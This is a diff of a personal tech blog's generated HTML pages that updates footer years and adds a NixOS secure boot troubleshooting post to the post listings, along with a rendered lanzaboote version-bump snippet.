<a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span>Guide: Changing Recents Provider on /e/OS</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span>Guide: Changing Recents Provider on /e/OS</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -12,8 +12,8 @@ and error.</p><pre tabindex=0><code>error: attribute 'overrideScope''
|
||||
required for <a href=https://github.com/nix-community/lanzaboote/><code>lanzaboote</code></a>, the Rust utility for the secure boot shim<sup id=fnref:1><a href=#fn:1 class=footnote-ref role=doc-noteref>1</a></sup>. After looking through <a href=https://github.com/nix-community/lanzaboote/issues/411>this issue on github</a>
|
||||
as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.</p><p>This meant I had to update the version in my <code>flake.nix</code> inputs like so</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-diff data-lang=diff><span style=display:flex><span> lanzaboote = {
|
||||
</span></span><span style=display:flex><span><span style=color:#f92672>- url = "github:nix-community/lanzaboote/v0.3.0";
|
||||
</span></span></span><span style=display:flex><span><span style=color:#f92672></span><span style=color:#a6e22e>+ url = "github:nix-community/lanzaboote/v0.4.1";
|
||||
</span></span></span><span style=display:flex><span><span style=color:#a6e22e></span> inputs.nixpkgs.follows = "nixpkgs";
|
||||
</span></span></span><span style=display:flex><span><span style=color:#a6e22e>+ url = "github:nix-community/lanzaboote/v0.4.1";
|
||||
</span></span></span><span style=display:flex><span> inputs.nixpkgs.follows = "nixpkgs";
|
||||
</span></span><span style=display:flex><span> };
|
||||
</span></span></code></pre></div><p>With that, I ran another <code>nix flake update</code> and enqueued my system for a rebuild.
|
||||
I deleted a few entries from <code>/boot/EFI/nixos</code> because the <a href=https://github.com/nix-community/lanzaboote/releases/tag/v0.4.1>new release</a> uses double the scratch space as needed by the previous version. Also, I had around 16 older generations of my setup for the sake of posteriety.</p><h1 id=where-is-the-pki-bundle>Where is the PKI Bundle?</h1><p>The rebuild led to yet another error, this time concerning a nonexistent path.</p><pre tabindex=0><code>Installing Lanzaboote to "/boot"...
|
||||
@@ -36,4 +36,4 @@ causes you to land in a generation that is unavailable in the systemd-boot menu.
|
||||
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/><span>←</span><span>A Tale of a Frugal Home Server</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><span>Wrapping up GSoC 2024</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><span>Wrapping up GSoC 2024</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -26,4 +26,4 @@ We will use the <code>$"string"</code> syntax to interpolate the short ID into t
|
||||
<a href=https://lavafroth.is-a.dev/tags/south-park class=list-tag>South Park</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/streaming class=list-tag>Streaming</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/r0-hash-me-please/><span>←</span><span>Hash Me Please</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/><span>Bash Jail 3</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/><span>Bash Jail 3</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,10 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
|
||||
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
@@ -53,11 +59,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/laptops class=list-tag>Laptops</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/kernel-modules class=list-tag>Kernel Modules</a>
|
||||
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
|
||||
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><nav data-main><a href=../../../post/>Previous Page</a>
|
||||
<a href=../../../post/page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><nav data-main><a href=../../../post/>Previous Page</a>
|
||||
<a href=../../../post/page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,10 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
|
||||
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
@@ -48,8 +54,5 @@
|
||||
<a class=post-link aria-label="Kringlecon 2023 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/></a></article><article><a aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><h2>Abstracting Structured Patterns in Concurrent Programming</h2></a><time>Dec 6, 2023 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/concurrency class=list-tag>Concurrency</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><nav data-main><a href=../../../post/page/2/>Previous Page</a>
|
||||
<a href=../../../post/page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><nav data-main><a href=../../../post/page/2/>Previous Page</a>
|
||||
<a href=../../../post/page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,7 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 